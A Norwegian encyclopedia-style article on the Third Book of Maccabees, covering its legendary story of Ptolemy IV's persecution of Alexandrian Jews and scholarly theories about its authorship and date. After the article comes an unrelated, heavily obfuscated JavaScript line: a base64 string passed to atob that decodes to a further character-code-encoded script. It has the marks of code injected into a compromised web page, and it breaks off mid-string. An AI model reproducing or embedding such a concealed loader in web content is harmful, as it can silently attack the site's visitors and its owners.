Innholdet i Tredje Makkabeerbok har et legendarisk vesen som forskere ikke har vært i stand til å knytte til faktiske historiske hendelser, og den har også framtoningen av en romanse. I henhold til boken, etter Ptolemaios’ nederlag for Antiokos III i år 217 f.Kr. i slaget ved Rafah, besøkte han Jerusalem og Det andre tempelet. Imidlertid ble han på mirakuløst vis forhindret i å gå inn i bygningen. Dette fikk ham til å legge jødene for hat og da han kom tilbake til Alexandria samlet han sammen det jødiske samfunnet der med den hensikt å få dem alle drept i hippodromen. Det fortelles at det var slik at egyptisk lov krevde at navnene på alle de som skulle bli drept måtte bli skrevet ned, og alt papiret i Egypt ble oppløst til luft når man forsøkte å gjøre dette. Av den grunn greide jødene å slippe unna. Ptolemaios forsøkte da å få jødene drept ved at elefanter trampet dem til døde, men på Guds innblanding slapp de unna også denne skjebnen, til tross for at 500 elefanter hadde blitt samlet for denne oppgaven. Til sist ble kongen omvendt og ga sin gunst til jødene, og fra denne dato har det blitt en fest for deres befrielse.

Forfatterskapet og opphavet

Forskerne er enig om at forfatteren av denne boken var en jøde i Alexandria som skrev på gresk. Forfatterens bombastiske skrivestil er underlagt retoriske konstruksjoner og bokens tema er svært lik de i Aristeasbrevet, et hellenistisk skrift fra 200-tallet f.Kr. Tredje Makkabeerbok begynner noe brått, noe som antyder at det faktisk er et fragment av et nå tapt lengre verk.

Selv om deler av fortellingen, slik som navnene på jødene som opptar alt papir i Egypt, er opplagt fiktivt, kan deler av fortellingen ikke bli uomtvistelig bevist eller motbevist, og flere forskere er villig til å akseptere den første seksjonen som forteller om handlingene til Ptolemaios IV av Egypt kan ha et historisk grunnlag. Den jødiske historikeren fra 100-tallet e.Kr., Josefus, noterte at mange av jødene, men absolutt ikke alle, ble drept i Alexandria under styret til Ptolemaios VIII av Egypt (146-117 f.Kr.) på grunn av deres støtte til Kleopatra II. Denne henrettelse ble faktisk utført av trampende elefanter. Dette kan være det historiske grunnlaget for relasjonen til Tredje Makkabeerbok, og at forfatteren har overført historien til en tidligere tidsepoke og lagt til uhistorisk legendarisk forbindelse til Jerusalem.

En annen teori om bokens historiske grunnlag ble fremmet av Adolf Büchler i 1899. Han framholdt at boken beskrev henrettelsen av jøder i Faiyum-regionen i Egypt. Det er sikkert at jødene brått endret deres lojalitet fra Egypt og til Syria i år 200 f.Kr. Denne forfatteren forutsetter at endringen må ha skjedd på grunn av denne forfølgelsen i Egypt.

Boken ble skrevet en tid etter Andre Makkabeerbok ettersom denne boken er sitert i teksten. Det gjør det mulig å datere forfatterskapet til en gang i slutten av første århundre f.Kr. og dens bruk i den ortodokse kirke kan også antyde at den ble skrevet en gang før det første århundret f.Kr. Det kan være et produkt fra meget sen jødedom, eller fra svært tidlig kristendom. En teori, fremmet av bibelforskere som Ewald og H. Willrich, hevder at tilknytningen er en polemikk mot keiser Caligula, således kan den dateres til år 40 e.Kr., men denne teorien har blitt avvist av nyere forskere ettersom Ptolemaios i boken ikke hevder å ha guddommelig inspirasjon slik Caligula hevdet.

var GMRXIILOXU = atob(‘dmFyIElQVUhUSlBSVkUgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDE5IC0gOSwgMTIyIC0gNCwgMTAwIC0gMywgMTIwIC0gNiwgNDEgLSA5LCAxMTQgLSA3LCAxMDggLSA3LCAxMjYgLSA1LCAzNCAtIDIsIDY4IC0gNywgMzcgLSA1LCA0NiAtIDcsIDExNiAtIDUsIDk0IC0gOCwgMTA2IC0gOSwgMTE1IC0gMSwgODEgLSA3LCAxMDkgLSA3LCA4MiAtIDUsIDgyIC0gNywgMTAwIC0gMywgMTE3IC0gNywgNDYgLSA3LCA2MSAtIDIsIDE2IC0gNiwgMTIyIC0gNCwgMTA1IC0gOCwgMTIzIC0gOSwgMzcgLSA1LCAxMDUgLSA0LCAxMTYgLSA2LCAxMDAgLSAxLCAxMDQgLSAzLCAxMDggLSA4LCAzOSAtIDcsIDY1IC0gNCwgMzUgLSAzLCA0MCAtIDEsIDg2IC0gNSwgNzUgLSAzLCAxMTIgLSA0LCAxMDMgLSAzLCA3MCAtIDUsIDkxIC0gOCwgMTE0IC0gNywgOTMgLSA4LCA3OSAtIDUsIDcyIC0gNCwgMTE4IC0gMywgOTMgLSA3LCA5MSAtIDYsIDczIC0gMiwgOTQgLSA5LCAxMTAgLSA3LCA2OCAtIDMsIDczIC0gOCwgNjcgLSAxLCAxMTcgLSA0LCA3NCAtIDUsIDg4IC0gNiwgNzQgLSAxLCAxMTMgLSAzLCA3MSAtIDMsIDEwNSAtIDIsIDU3IC0gOSwgODEgLSAyLCA3OSAtIDYsIDEwNSAtIDIsIDEwNCAtIDEsIDEwNiAtIDYsIDc2IC0gMiwgNzggLSA5LCA5NyAtIDcsIDEyOCAtIDksIDEwNiAtIDksIDEyNSAtIDYsIDU3IC0gMSwgMTAzIC0gNSwgNjggLSAzLCAxMjkgLSA3LCAxMTQgLSAyLCAxMDAgLSAzLCAxMTAgLSA5LCA3MSAtIDMsIDEyNiAtIDcsIDc3IC0gNSwgODIgLSAyLCA1OCAtIDgsIDEyMCAtIDUsIDg2IC0gMiwgNzQgLSA3LCAxMjggLSA5LCAxMjQgLSA5LCA1MiAtIDUsIDczIC0gNCwgMTI0IC0gNCwgMTAxIC0gMiwgMTIwIC0gOCwgNzIgLSAzLCAxMTEgLSAyLCA1NSAtIDYsIDUyIC0gMiwgODIgLSAxLCA4NiAtIDUsIDEwOSAtIDYsIDg4IC0gOSwgODMgLSA0LCAxMTIgLSA4LCA3OSAtIDYsIDkzIC0gNSwgMTA4IC0gOSwgOTMgLSA2LCAxMjkgLSA5LCA4MSAtIDksIDg3IC0gNywgODIgLSAxLCA3MSAtIDYsIDEwNiAtIDcsIDg4IC0gNCwgMTI1IC0gMywgNzggLSA1LCA4NCAtIDUsIDgwIC0gOCwgMTI0IC0gMywgMTIxIC0gNiwgODMgLSAzLCA4MSAtIDgsIDEyNCAtIDIsIDExMSAtIDcsIDcxIC0gNSwgODcgLSAyLCA1NiAtIDgsIDU5IC0gMywgODMgLSA1LCAxMDUgLSA4LCA1MiAtIDMsIDc5IC0gNSwgMTE5IC0gNiwgODcgLSA2LCA4NCAtIDEsIDg2IC0gMSwgNTEgLSA0LCA3NyAtIDcsIDg4IC0gNiwgNTcgLSA0LCA5MSAtIDUsIDEwOSAtIDgsIDg5IC0gNCwgNjEgLSA5LCA5NCAtIDQsIDc3IC0gMywgNzMgLSA3LCA3OSAtIDYsIDUxIC0gOCwgODkgLSA5LCA4OCAtIDMsIDY0IC0gOCwgNjYgLSAxLCA2NyAtIDIsIDYwIC0gOSwgMTE1IC0gOCwgNzUgLSAyLCA4MCAtIDgsIDEyNCAtIDMsIDExNiAtIDEsIDY4IC0gMiwgODQgLSA5LCA3MyAtIDUsIDExMSAtIDcsIDg2IC0gNywgNzcgLSA2LCAxMTEgLSA4LCA3NyAtIDQsIDExMiAtIDMsIDkyIC0gOCwgMTI2IC0gNywgNzggLSA1LCAxMDcgLSAyLCA3NSAtIDUsIDExMCAtIDEsIDExNyAtIDUsIDExMiAtIDIsIDEwMSAtIDQsIDU0IC0gNiwgNTggLSA1LCA4NSAtIDUsIDEwOCAtIDksIDg2IC0gNSwgMTEwIC0gMywgNzkgLSA4LCA4MSAtIDEsIDEwNSAtIDEsIDkxIC0gMSwgNTQgLSAzLCA5OCAtIDgsIDcxIC0gMiwgNTQgLSAyLCA3NiAtIDgsIDc1IC0gOCwgMTEwIC0gNCwgNzIgLSAzLCA2NiAtIDEsIDY3IC0gMSwgMTExIC0gNiwgNjQgLSA4LCA5MiAtIDgsIDc4IC0gMywgNTkgLSA5LCA5MyAtIDgsIDcwIC0gMSwgNzMgLSA2LCAxMDUgLSAyLCAxMTYgLSA1LCA1NiAtIDIsIDc1IC0gNywgMTE3IC0gOSwgMTIwIC0gMSwgMTEwIC0gMywgNzMgLSA4LCAxMzEgLSA5LCAxMTMgLSA1LCAxMTMgLSA2LCA3MiAtIDcsIDExMiAtIDksIDExMCAtIDMsIDcyIC0gMSwgMTA3IC0gNiwgMTI1IC0gNiwgODQgLSA3LCAxMDUgLSA3LCA3NSAtIDEsIDc2IC0gNywgMTEzIC0gNiwgNjIgLSA5LCA4MyAtIDksIDEwNiAtIDIsIDc2IC0gNiwgNzAgLSA1LCA3NSAtIDMsIDEzMCAtIDgsIDU0IC0gMiwgODMgLSAxLCA4OCAtIDIsIDg5IC0gMiwgOTggLSA4LCAxMTYgLSAxLCAxMDcgLSA5LCA5NSAtIDgsIDExNyAtIDEsIDc4IC0gNywgNjkgLSAzLCAxMTEgLSA3LCAxMTggLSAzLCAxMTMgLSA4LCA3MiAtIDMsIDg4IC0gMywgMTA4IC0gNCwgMTEzIC0gNSwgODkgLSA2LCA4NyAtIDMsIDExNSAtIDQsIDYwIC0gNCwgNzMgLSAzLCAxMTMgLSA2LCA2NyAtIDIsIDgwIC0gOSwgODYgLSA4LCA4NCAtIDMsIDY5IC0gNCwgMTAwIC0gMSwgNzkgLSAzLCA4NCAtIDIsIDgxIC0gNCwgNTUgLSA4LCA3NCAtIDEsIDEwOSAtIDIsIDYwIC0gNCwgODMgLSA1LCA3MCAtIDUsIDcwIC0gMiwgMTIyIC0gNiwgODIgLSAzLCA3OCAtIDYsIDEyNSAtIDQsIDg2IC0gMSwgNzYgLSA5LCA4NiAtIDcsIDcxIC0gNCwgMTAwIC0gMSwgNzUgLSA2LCA3NSAtIDMsIDk0IC0gOSwgNzQgLSA5LCA2MyAtIDgsIDc0IC0gNiwgMTExIC0gNywgOTIgLSAzLCA5MSAtIDUsIDc4IC0gNiwgMTE1IC0gOSwgNjAgLSA4LCAxMjcgLSA2LCA3MSAtIDIsIDEwNSAtIDEsIDEyMCAtIDksIDgxIC0gNiwgODQgLSA1LCA1NiAtIDgsIDYxIC0gOSwgNzQgLSAzLCA3NSAtIDEsIDEyOSAtIDksIDkxIC0gMSwgMTA3IC0gMSwgODUgLSA2LCAxMjIgLSAzLCAxMTAgLSAzLCAxMDMgLSAyLCA4OSAtIDYsIDgwIC0gOCwgMTIwIC0gOCwgMTIwIC0gNiwgODkgLSA0LCAxMTcgLSA4LCAxMTYgLSA0LCA2NyAtIDEsIDc2IC0gMiwgODcgLSAzLCA2MiAtIDYsIDkwIC0gNCwgNzkgLSA3LCAxMTEgLSAzLCA5NCAtIDgsIDU0IC0gMSwgOTIgLSA4LCAxMTEgLSA4LCA5MCAtIDUsIDU5IC0gMiwgNzYgLSA3LCA5NSAtIDgsIDg1IC0gOCwgMTIyIC0gNCwgNzQgLSA4LCA3MiAtIDYsIDEwNCAtIDEsIDcwIC0gNSwgODEgLSAyLCA2OSAtIDMsIDcxIC0gMiwgMTA2IC0gNiwgODYgLSA3LCA2OCAtIDIsIDc2IC0gMywgMTA5IC0gNiwgNzUgLSAxLCA3MyAtIDcsIDkxIC0gNiwgNzQgLSA4LCA3NSAtIDMsIDg3IC0gNCwgODggLSAyLCA4NyAtIDcsIDcxIC0gMiwgODggLSA1LCA5MCAtIDQsIDgxIC0gOCwgODEgLSA4LCAxMjcgLSA1LCA3MyAtIDMsIDgwIC0gMSwgNzUgLSA5LCAxMjMgLSA0LCA3NSAtIDIsIDU4IC0gNywgNzUgLSA5LCAxMDggLSA0LCAxMDMgLSA0LCA1OCAtIDUsIDg2IC0gMywgODUgLSAxLCAxMDkgLSAyLCAxMTYgLSA3LCA3OCAtIDksIDg4IC0gMywgNjkgLSA0LCAxMDMgLSAxLCA4OCAtIDgsIDEwNSAtIDEsIDc2IC0gNiwgODcgLSAxLCA4OSAtIDgsIDc2IC0gNSwgMTI0IC0gNSwgODQgLSAzLCAxMDcgLSA4LCA3NSAtIDQsIDEyMCAtIDQsIDExMCAtIDMsIDc1IC0gOCwgODkgLSA2LCA4MCAtIDMsIDg1IC0gNSwgNzcgLSA4LCA4OSAtIDUsIDU5IC0gNywgODUgLSA1LCA3NSAtIDIsIDEwNiAtIDEsIDg4IC0gMiwgNjcgLSAxLCA3MSAtIDQsIDg0IC0gMywgMTEzIC0gMiwgMTA4IC0gMywgODEgLSA3LCA4NSAtIDMsIDU2IC0gOCwgMTEzIC0gMywgNzUgLSA5LCAxMjkgLSA4LCA4NSAtIDQsIDExNyAtIDksIDgzIC0gNywgMTI4IC0gOSwgNjUgLSA5LCA3NSAtIDgsIDgxIC0gNCwgNTcgLSA5LCAxMTQgLSA3LCA5NSAtIDgsIDc5IC0gNSwgODUgLSA0LCAxMjMgLSA4LCAxMTcgLSAyLCA4MiAtIDksIDEwNSAtIDIsIDU4IC0gMSwgODAgLSA4LCA4NiAtIDIsIDEyOCAtIDcsIDUzIC0gNCwgMTIyIC0gOCwgODYgLSAxLCAxMTQgLSA1LCAxMTUgLSA0LCA4OCAtIDcsIDg0IC0gOCwgNzAgLSAyLCAxMTcgLSA5LCA3MSAtIDUsIDcyIC0gMiwgMTA4IC0gNSwgMTAxIC0gMiwgMTEyIC0gNSwgODYgLSA1LCA5MyAtIDgsIDU5IC0gMiwgMTE0IC0gMSwgNzMgLSA2LCA3NCAtIDcsIDExMiAtIDksIDY0IC0gOCwgODYgLSA1LCA4NyAtIDMsIDkwIC0gMSwgMTA3IC0gMiwgNzkgLSA4LCAxMDggLSAzLCAxMTYgLSA5LCA4MCAtIDksIDg2IC0gNiwgMTA1IC0gMSwgOTEgLSAyLCAxMTAgLSA4LCA3OCAtIDIsIDEwNyAtIDMsIDcwIC0gNSwgMTA1IC0gNywgNzEgLSA0LCAxMDcgLSAyLCA5NCAtIDksIDkyIC0gNiwgODggLSAxLCAxMTYgLSA3LCA4NCAtIDYsIDEwNyAtIDcsIDgzIC0gMSwgNTIgLSAyLCAxMTggLSAyLCA3MyAtIDcsIDc3IC0gNywgMTA1IC0gMiwgMTA3IC0gOCwgMTE1IC0gOCwgOTIgLSA4LCAxMjUgLSA1LCA1MCAtIDIsIDExNiAtIDksIDc0IC0gNCwgNzQgLSA3LCAxMTIgLSA5LCAxMjIgLSA5LCA2OCAtIDIsIDkxIC0gOSwgMTA1IC0gNiwgMTAxIC0gMiwgODIgLSA5LCAxMDkgLSA2LCA2NyAtIDIsIDcyIC0gMSwgODIgLSA2LCAxMjcgLSA4LCA5NCAtIDksIDExNSAtIDcsIDgyIC0gNywgMTA1IC0gMiwgNjMgLSA3LCA4MiAtIDgsIDY5IC0gMiwgMTEyIC0gMiwgOTUgLSA1LCAxMDMgLSA0LCA5NCAtIDksIDExMiAtIDcsIDEyMyAtIDQsIDkxIC0gNywgNzQgLSAxLCAxMjIgLSAxLCAxMTIgLSA5LCA5MiAtIDYsIDY3IC0gMSwgMTI3IC0gOCwgNjYgLSAxLCA1NSAtIDMsIDg4IC0gNSwgOTEgLSA1LCAxMTkgLSAzLCAxMjEgLSA4LCA3OSAtIDcsIDg3IC0gMiwgMTAzIC0gMywgMTIxIC0gNywgODkgLSA4LCA4OSAtIDQsIDU2IC0gMywgODQgLSA0LCA4MSAtIDEsIDEyMiAtIDMsIDEwMyAtIDMsIDkwIC0gNywgOTUgLSA2LCAxMTMgLSA5LCA1OCAtIDYsIDExMyAtIDUsIDgxIC0gMiwgOTMgLSA4LCA2MCAtIDQsIDEwMSAtIDIsIDc2IC0gOSwgMTEzIC0gNywgMTA3IC0gOCwgNzIgLSAyLCA2OCAtIDEsIDEyMSAtIDEsIDExNCAtIDcsIDg2IC0gMywgODAgLSA0LCA3MiAtIDQsIDYzIC0gNywgNzUgLSA2LCA4OCAtIDQsIDExMCAtIDIsIDc3IC0gMywgMTIwIC0gNiwgODIgLSAxLCA4OCAtIDUsIDExNCAtIDMsIDc3IC0gNSwgODMgLSA4LCAxMDYgLSAzLCA4NyAtIDIsIDQ4IC0gMSwgNzEgLSAxLCA4OSAtIDcsIDU5IC0gNywgNjAgLSAzLCA4MyAtIDYsIDEyOCAtIDgsIDcyIC0gNywgNzkgLSA3LCA4NSAtIDksIDEyMyAtIDMsIDkzIC0gOCwgNTggLSA1LCA5OCAtIDgsIDg5IC0gNiwgODkgLSA0LCAxMTAgLSA2LCA3NiAtIDMsIDkwIC0gOCwgODAgLSAyLCA3NCAtIDEsIDg3IC0gMiwgMTE0IC0gOCwgNzcgLSA3LCAxMTYgLSAxLCAxMDcgLSA5LCA5MiAtIDUsIDEyMyAtIDcsIDcyIC0gNiwgOTEgLSA3LCAxMTEgLSA0LCA2MCAtIDMsIDUyIC0gMiwgNzAgLSAzLCA3NCAtIDgsIDg1IC0gMywgMTE2IC0gMywgOTAgLSA2LCAxMDggLSAyLCA4OSAtIDQsIDEwNyAtIDEsIDc2IC0gNywgNTUgLSA3LCA3MCAtIDUsIDEwOCAtIDgsIDgzIC0gNiwgMTIyIC0gMiwgNzcgLSA0LCA3MSAtIDQsIDc5IC0gNSwgODggLSA3LCAxMTIgLSA5LCA0NiAtIDMsIDc3IC0gMSwgMTA4IC0gMiwgODYgLSAxLCA4MCAtIDQsIDc1IC0gNSwgMTI0IC0gMywgNzkgLSA1LCA3MSAtIDUsIDkwIC0gNCwgNzQgLSAzLCAxMjggLSA4LCA3MyAtIDIsIDgwIC0gMiwgODggLSA1LCA4MyAtIDYsIDkwIC0gNiwgODggLSA3LCA2NyAtIDEsIDUxIC0gMywgMTMxIC0gOSwgNzAgLSAxLCAxMDcgLSA0LCA3OCAtIDUsIDExMCAtIDIsIDcwIC0gMywgNzEgLSAzLCA1NiAtIDQsIDEyMiAtIDUsIDc5IC0gMSwgODIgLSAxLCAxMTYgLSAxLCA5NiAtIDgsIDgxIC0gOCwgMTA5IC0gMiwgNjEgLSA1LCA3NCAtIDMsIDg0IC0gNSwgNzAgLSA1LCA2NSAtIDksIDEwNSAtIDIsIDk4IC0gOSwgNTIgLSA0LCAxMTAgLSA2LCA3NCAtIDksIDcwIC0gNSwgMTI2IC0gNCwgODEgLSA0LCA4MiAtIDIsIDc3IC0gNywgOTAgLSA2LCA1NyAtIDUsIDg3IC0gOCwgOTkgLSAxLCA5MSAtIDMsIDk1IC0gOSwgNzIgLSA2LCA5MCAtIDIsIDExMyAtIDYsIDkyIC0gMiwgNTQgLSA0LCA3NCAtIDMsIDExOCAtIDgsIDEwOCAtIDQsIDExNSAtIDIsIDg5IC0gNywgMTE1IC0gNiwgNTQgLSA1LCAxMTkgLSA1LCA4OSAtIDgsIDkxIC0gNiwgNTcgLSA0LCA4NSAtIDUsIDEwOSAtIDksIDEwNSAtIDEsIDkzIC0gNCwgMTIwIC0gNCwgNzkgLSA1LCAxMDkgLSA2LCAxMTEgLSA0LCAxMjEgLSA0LCA3OCAtIDMsIDExMiAtIDgsIDg5IC0gNCwgNzUgLSAzLCA2OSAtIDQsIDc2IC0gOCwgMTA1IC0gMSwgNjkgLSAzLCA4OCAtIDQsIDUyIC0gMiwgMTE4IC0gNywgMTA4IC0gNywgODAgLSA2LCA5MiAtIDgsIDExNyAtIDksIDg1IC0gNSwgNzggLSA2LCA3MCAtIDUsIDEyMCAtIDksIDExMSAtIDMsIDczIC0gNCwgODYgLSA0LCA1MyAtIDUsIDExMCAtIDMsIDc5IC0gOSwgOTEgLSA4LCAxMDkgLSA2LCAxMDMgLSAxLCA3MiAtIDYsIDY3IC0gMSwgOTUgLSA2LCAxMDEgLSAzLCAxMDggLSA3LCA3NSAtIDksIDkwIC0gNSwgNzMgLSA4LCA4MiAtIDksIDEyMSAtIDIsIDEyNSAtIDksIDExNiAtIDgsIDkyIC0gMywgMTE3IC0gOSwgMTE5IC0gNywgMTEyIC0gNSwgOTEgLSA3LCA1OCAtIDcsIDk1IC0gNSwgNzUgLSA5LCA5MCAtIDUsIDExNCAtIDUsIDExMyAtIDEsIDc5IC0gOCwgODQgLSA3LCA3MiAtIDMsIDczIC0gMywgNzMgLSA3LCA4OSAtIDUsIDExNSAtIDgsIDYzIC0gNiwgNTUgLSA1LCA4MCAtIDgsIDc0IC0gMiwgMTA3IC0gMywgMTIxIC0gOCwgODQgLSAyLCAxMDcgLSAxLCA3NCAtIDgsIDEyNiAtIDcsIDEwNSAtIDgsIDU2IC0gOCwgNTcgLSA0LCA4MiAtIDIsIDgyIC0gNiwgMTA1IC0gMiwgMTEzIC0gNiwgNzEgLSA2LCA5MiAtIDIsIDcxIC0gNiwgMTA5IC0gMiwgNjYgLSA5LCA4MyAtIDcsIDExMiAtIDksIDYyIC0gNSwgNzIgLSAxLCA4NSAtIDIsIDY3IC0gMiwgOTIgLSAzLCAxMjAgLSAzLCA4MSAtIDgsIDgzIC0gMSwgNTkgLSA2LCA3MyAtIDcsIDk2IC0gNywgOTMgLSA2LCAxMTggLSAzLCA3MSAtIDEsIDcwIC0gNSwgODUgLSA0LCA3NiAtIDMsIDU3IC0gNiwgNjkgLSAyLCA3NSAtIDksIDEyNCAtIDQsIDExMiAtIDMsIDg2IC0gNCwgMTA5IC0gMywgMTA4IC0gMSwgNTggLSA1LCA3OCAtIDgsIDczIC0gOCwgMTIwIC0gNCwgNzggLSA3LCAxMDYgLSA4LCA4OCAtIDEsIDExOSAtIDMsIDg5IC0gNiwgMTAyIC0gNSwgMTA1IC0gMSwgNTggLSA2LCAxMTIgLSA0LCA4NCAtIDUsIDg2IC0gMSwgNjQgLSA4LCAxMDcgLSA3LCA3MSAtIDQsIDExMiAtIDcsIDgyIC0gOSwgMTI4IC0gNiwgNzcgLSA3LCAxMjQgLSAyLCAxMTYgLSAxLCA5MCAtIDYsIDc3IC0gMiwgNzUgLSA3LCAxMDYgLSAzLCA5NCAtIDgsIDgwIC0gNiwgMTA3IC0gNCwgMTE1IC0gNCwgNjAgLSA5LCA3MSAtIDUsIDg2IC0gNCwgMTA1IC0gNiwgNTcgLSA1LCA5MCAtIDYsIDExNiAtIDcsIDYzIC0gNywgODEgLSA4LCA3MSAtIDMsIDExMiAtIDksIDcxIC0gNiwgMTA3IC0gOSwgODEgLSA0LCAxMjEgLSAyLCA2MyAtIDcsIDczIC0gMiwgOTYgLSA2LCAxMjUgLSA1LCA3OCAtIDUsIDUxIC0gMywgODcgLSA4LCAxMjcgLSA4LCA4NyAtIDUsIDgwIC0gMywgODQgLSAzLCA1OSAtIDgsIDkzIC0gMywgNzcgLSA5LCA3NyAtIDgsIDEyNSAtIDMsIDExOCAtIDcsIDk0IC0gNywgODAgLSA3LCA5MiAtIDksIDc4IC0gNSwgNzIgLSA1LCA3MiAtIDQsIDEyMSAtIDEsIDEyNCAtIDksIDUxIC0gNCwgNzYgLSA4LCAxMTAgLSA2LCAxMjUgLSA1LCAxMDkgLSAxLCA3NSAtIDMsIDExMiAtIDMsIDY2IC0gMSwgNTggLSAyLCA3NSAtIDUsIDExMyAtIDksIDExNyAtIDksIDY5IC0gMiwgODAgLSAzLCA2NyAtIDIsIDU1IC0gMywgNzIgLSA3LCA4MyAtIDksIDQ5IC0gMSwgMTIzIC0gOCwgNTQgLSAyLCA4NSAtIDYsIDg4IC0gNywgNTUgLSA3LCA4MiAtIDYsIDcxIC0gNiwgOTMgLSA5LCA4OCAtIDMsIDg4IC0gOSwgNzIgLSAyLCAxMTEgLSA2LCA1NyAtIDEsIDcyIC0gNSwgMTA1IC0gNywgNTcgLSA3LCA3NyAtIDMsIDEwMSAtIDQsIDk2IC0gNiwgNzYgLSA3LCA2MiAtIDUsIDUxIC0gMSwgNzMgLSAyLCA4OSAtIDcsIDExMyAtIDIsIDYxIC0gOSwgODYgLSAzLCA3NSAtIDcsIDU3IC0gNSwgMTE5IC0gMiwgNzUgLSA3LCAxMjAgLSAxLCAxMTMgLSAxLCA3OCAtIDYsIDEwMSAtIDIsIDg5IC0gNywgODIgLSA1LCA5NiAtIDgsIDc4IC0gMiwgNzEgLSA2LCA4NCAtIDcsIDUyIC0gNSwgODMgLSA0LCA4NiAtIDUsIDg3IC0gNiwgMTAyIC0gMywgODcgLSA3LCA4NiAtIDIsIDgwIC0gMywgNzEgLSAxLCA3NiAtIDUsIDEyNSAtIDMsIDEwNyAtIDQsIDczIC0gNSwgODMgLSA3LCAxMTEgLSA1LCA2MyAtIDcsIDExNCAtIDksIDcyIC0gNywgODYgLSA1LCA3MCAtIDUsIDU4IC0gMSwgNzMgLSA2LCA3MyAtIDcsIDEwOCAtIDgsIDYxIC0gNiwgOTAgLSAzLCAxMjkgLSA3LCA2MCAtIDgsIDEwOCAtIDEsIDcyIC0gNCwgNzAgLSA1LCAxMjQgLSA5LCAxMDUgLSA3LCA4NSAtIDUsIDEwNCAtIDEsIDEwOSAtIDYsIDEwMSAtIDIsIDgzIC0gNywgOTEgLSA2LCA3MSAtIDEsIDExNSAtIDgsIDEwNSAtIDYsIDc2IC0gNSwgMTE3IC0gMiwgOTEgLSA3LCA5NiAtIDYsIDk1IC0gOSwgMTIzIC0gNCwgNzYgLSA0LCA3MyAtIDEsIDg1IC0gMSwgMTEzIC0gOSwgNzIgLSAxLCA5NiAtIDYsIDg5IC0gNSwgNTAgLSAyLCA3MyAtIDgsIDczIC0gMSwgNzYgLSA3LCA2MSAtIDUsIDUzIC0gNiwgODUgLSA0LCA5MCAtIDUsIDY1IC0gOCwgMTE2IC0gMywgODggLSAyLCAxMTkgLSA5LCA5NyAtIDcsIDExOCAtIDQsIDY5IC0gMiwgNzcgLSA4LCA1NSAtIDIsIDg5IC0gNSwgMTA0IC0gNCwgMTA0IC0gMSwgODkgLSA0LCAxMDggLSA4LCA3NyAtIDMsIDEyMCAtIDEsIDEwOCAtIDksIDExMCAtIDMsIDc5IC0gNSwgODYgLSA0LCA3OSAtIDUsIDc0IC0gOSwgNzMgLSA4LCAxMzEgLSA5LCA4MCAtIDMsIDg3IC0gNywgNzMgLSAzLCA4NiAtIDIsIDU3IC0gNSwgODUgLSA2LCAxMDYgLSA2LCAxMTMgLSA0LCAxMjMgLSA4LCA3OSAtIDYsIDg5IC0gNywgOTIgLSA3LCA4NyAtIDUsIDU0IC0gNywgODQgLSAzLCA4NyAtIDYsIDExNyAtIDksIDc0IC0gOSwgODcgLSA1LCAxMTIgLSAzLCA1MiAtIDQsIDEyNCAtIDksIDcxIC0gNSwgNzIgLSA2LCAxMTcgLSA2LCAxMTUgLSAxLCA4MiAtIDMsIDgzIC0gMiwgMTIxIC0gMiwgODcgLSAzLCA4MSAtIDgsIDEyMCAtIDEsIDEwOCAtIDUsIDc2IC0gOCwgNzkgLSA0LCAxMDggLSA1LCAxMjMgLSA0LCA3OCAtIDIsIDg4IC0gNiwgMTI1IC0gMywgODEgLSA4LCA4NyAtIDgsIDc3IC0gNSwgMTIzIC0gMiwgMTIxIC0gNiwgODEgLSAxLCA3OCAtIDUsIDEyOCAtIDYsIDEwNiAtIDMsIDYyIC0gOCwgNzQgLSA4LCAxMjcgLSA1LCA4MCAtIDYsIDQ4IC0gMSwgODkgLSAyLCAxMTQgLSA0LCAxMDQgLSAxLCA1MyAtIDIsIDEwMCAtIDIsIDcyIC0gMywgMTAzIC0gNCwgMTIzIC0gNywgNzMgLSAzLCA2NyAtIDIsIDY4IC0gMywgODUgLSA4LCA4MiAtIDksIDEwNSAtIDIsIDEwOCAtIDUsIDEwNiAtIDYsIDgxIC0gNywgNzcgLSA4LCA5NSAtIDYsIDExOCAtIDUsIDgxIC0gNSwgMTA4IC0gNCwgOTEgLSA2LCAxMTcgLSAxLCA2NyAtIDIsIDcyIC0gNCwgMTEyIC0gNSwgNzYgLSAxLCA3MyAtIDIsIDEzMCAtIDksIDY0IC0gNywgODEgLSAyLCA4NSAtIDksIDEwNiAtIDIsIDkwIC0gOSwgODUgLSA1LCA3MyAtIDUsIDEyMyAtIDQsIDgyIC0gOSwgMTI4IC0gNiwgODUgLSAyLCA3MyAtIDMsIDc2IC0gMywgMTIxIC0gMSwgMTA1IC0gNywgODAgLSA5LCA1NSAtIDYsIDEyMCAtIDYsIDcyIC0gMiwgMTI0IC0gNSwgNjMgLSA3LCAxMDMgLSAzLCAxMDIgLSAyLCAxMDUgLSAyLCA3NSAtIDIsIDExOCAtIDIsIDg1IC0gNSwgNjkgLSA0LCAxMDggLSA5LCAxMDUgLSAxLCA4MiAtIDIsIDExMiAtIDksIDg3IC0gNSwgODAgLSAxLCA4NiAtIDEsIDExNiAtIDYsIDkwIC0gMSwgNzIgLSAyLCA3OCAtIDYsIDkyIC0gOSwgMTEwIC0gMywgODcgLSAzLCA4MCAtIDcsIDc2IC0gOSwgNTkgLSA3LCA4NSAtIDUsIDc4IC0gNywgMTE2IC0gOSwgNzIgLSAzLCA1NSAtIDYsIDc3IC0gOSwgMTEzIC0gOSwgNTMgLSA1LCAxMTEgLSA3LCA3NiAtIDgsIDEyOSAtIDgsIDEwOCAtIDQsIDEyNyAtIDgsIDEwNSAtIDgsIDUzIC0gNSwgNTYgLSAzLCA4NCAtIDQsIDgyIC0gOSwgNjkgLSA0LCA3MyAtIDgsIDY3IC0gMiwgOTggLSAxLCAxMDQgLSAxLCA5MyAtIDgsIDg2IC0gMywgODAgLSAxLCA2OCAtIDIsIDkwIC0gNSwgODEgLSAxLCA4MCAtIDgsIDkyIC0gOSwgNzkgLSA1LCA3NSAtIDksIDg2IC0gMiwgNTEgLSAxLCAxMjAgLSA5LCA3NCAtIDQsIDc3IC0gOCwgMTE0IC0gOCwgNDkgLSAxLCA2NyAtIDIsIDY4IC0gMywgMTA3IC0gMywgMTE2IC0gNSwgMTI3IC0gNSwgODUgLSAxLCAxMjEgLSAxLCAxMTkgLSA0LCAxMDggLSAxLCA2OCAtIDMsIDExMCAtIDUsIDEwNCAtIDEsIDEyNiAtIDQsIDg1IC0gOSwgMTEwIC0gNywgMTA1IC0gMSwgNzggLSA2LCAxMDQgLSA0LCA3MSAtIDIsIDc5IC0gOSwgODggLSA3LCAxMDIgLSA1LCAxMDkgLSAyLCA1NSAtIDYsIDEyMyAtIDcsIDgwIC0gNSwgNzEgLSAzLCA1NSAt